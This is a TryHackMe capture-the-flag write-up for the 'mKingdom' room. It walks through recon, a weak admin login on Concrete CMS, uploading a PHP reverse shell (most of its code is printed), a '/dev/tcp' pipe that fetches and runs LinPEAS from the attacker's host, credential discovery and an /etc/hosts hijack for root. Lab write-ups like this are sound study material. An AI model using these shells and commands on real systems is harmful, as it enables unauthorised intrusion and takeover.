> For the complete documentation index, see [llms.txt](https://h3ckt0r.gitbook.io/0xsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://h3ckt0r.gitbook.io/0xsec/offensive-security/oscp/writeups/thm/ctf/mkingdom.md).
# mKingdom
{% embed url="" %}
> **Reconnaissance**
```
nmap -sC -sV -Pn -T4 10.10.x.x
```
**I see that Port 85 work web service** `http://10.10.x.x:85/`
I use gobuster to Fuzzing dir
{% code overflow="wrap" %}
```bash
gobuster dir -u http://10.10.112.62:85/ --wordlist=/usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
```
{% endcode %}
i Found /app (Status: 301) \[Size: 312] \[--> **`http://10.10.112.62:85/app/`**]
when scroll down i found login page and i use Wayyplazer found CMS Concrete => V8.5.2
#### File Upload code
{% hint style="danger" %}
There’s an existing RCE vulnerability in Concrete CMS 8.5.2.
i use Revers shell online
```php
array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
{% endhint %}
when scroll in web site i found username "admin" in /blog
I tried to login with ‘**`admin`**’ as username and random passwords, and to my surprise, ‘**`password`**’ worked!
> Initial Access
According to instructions, I navigated to **System & Settings-> Allowed** file types, and added ‘.**php**’ in the allowed file types.
Then I went to Files -> File Manager and uploaded a php reverse shell. I started a Netcat listener on my attacking machine. After uploading the shell, I accessed it from the link provided on the website.
I using reverse shell nc
```bash
nc -nvlp 9001
```
in click URL to File
Revers shell
> Priv Esc
To Upgrade the tty
```bash
python -c 'import pty;pty.spawn("/bin/bash");'
ctrl z
stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
```
I will try Useing **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
```bash
sudo nc -lvnp 443 < linpeas.sh #Host
cat < /dev/tcp/10.21.32.157/443 | sh #Victim
```
i found DB.php
```
'concrete',
'connections' => [
'concrete' => [
'driver' => 'c5_pdo_mysql',
'server' => 'localhost',
'database' => 'mKingdom',
'username' => 'toad',
'password' => 'toadisthebest',
'character_set' => 'utf8',
'collation' => 'utf8_unicode_ci',
],
],
];
```
I logged in as **toad**. After a bit of looking around, I listed the current environment variables using ‘**env**’, and I found a **PWD\_token.**
```bash
echo "aWthVGVOVEFOdEVTCg==" | base64 -d
or
base64 -d <<< aWthVGVOVEFOdEVTCg==
```
user : mario
pass : ikaTeNTANtES
But i don't cat the flag
i will move file to /tmp
I ran linpeas again as mario, and found that /etc/hosts is writable
> **curl mkingdom.thm:85/app/castle/application/counter.sh**
I modified the /etc/hosts file to add my **attacking machine IP** and **mkingdom.thm** as the corresponding hostname. Then I created the folder path /app/castle/application on my attacking machine and placed counter.sh there with a reverse shell payload.
> Exploit Used
* **Reverse shell (File Upload)** [#file-upload-code](#file-upload-code "mention")
> Tools Used
* Nmap
* nc
* gobuseter
* linpeas.sh
#### Other Resources
{% embed url="" %}
{% embed url="" %}
{% embed url="" %}
